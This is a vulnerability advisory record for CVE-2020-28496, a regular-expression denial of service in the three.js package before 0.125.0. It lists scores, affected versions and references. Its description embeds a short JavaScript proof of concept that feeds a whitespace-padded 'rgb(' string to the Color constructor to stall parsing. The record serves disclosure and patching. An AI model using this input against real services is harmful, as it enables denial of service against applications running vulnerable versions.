# CVE-2020-28496: Regular Expression Denial of Service (ReDoS)

- Severity: High 7.5 (CVSS:3.1, scored by snyk) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Likelihood of exploitation in the next 30 days (EPSS): 2.55%, higher than 85% of CVEs (2026-12-02)
- Public exploit code or proof of concept: 3 links below, marked "exploit"
- Published: 2021-02-18T14:20:22.065Z
- Modified: 2026-06-17T03:10:32.423Z
- Also known as: GHSA-fq6p-x6j3-cmmq
- Weaknesses: CWE-400
- Assigned by: snyk

## Description

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

(As written by CVE List.)

## Affected

- three: from unspecified before 0.125.0
- three (npm): before 0.125.0
- three_project three: before 0.125.0

## Every score

- snyk: CVSS:3.1 7.5 High `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
- GitHub: CVSS:3.1 7.5 High `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
- NVD: CVSS:3.1 7.5 High `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
- NVD: CVSS:2.0 5.0 Medium `AV:N/AC:L/Au:N/C:N/I:N/A:P`

## References

- <https://snyk.io/vuln/SNYK-JS-THREE-1064931> (exploit, third-party-advisory, web)
- <https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972> (exploit, third-party-advisory, web)
- <https://github.com/mrdoob/three.js/issues/21132> (exploit, issue-tracking, third-party-advisory, web)
- <https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e> (patch, third-party-advisory, web)
- <https://nvd.nist.gov/vuln/detail/CVE-2020-28496> (advisory)

## Sources

- CVE List: [CVE-2020-28496](https://www.cve.org/CVERecord?id=CVE-2020-28496), CVE Terms of Use, modified 2024-09-17
- GitHub Advisory Database: [GHSA-fq6p-x6j3-cmmq](https://github.com/advisories/GHSA-fq6p-x6j3-cmmq), CC-BY-4.0, modified 2023-11-08
- NVD: [CVE-2020-28496](https://nvd.nist.gov/vuln/detail/CVE-2020-28496), Public domain, modified 2026-06-17

---

Page: https://cve.day/CVE-2020-28496 · Whole record: https://cve.day/CVE-2020-28496.json · Rebuilt by cve.day 2026-11-25T22:57:57.383Z
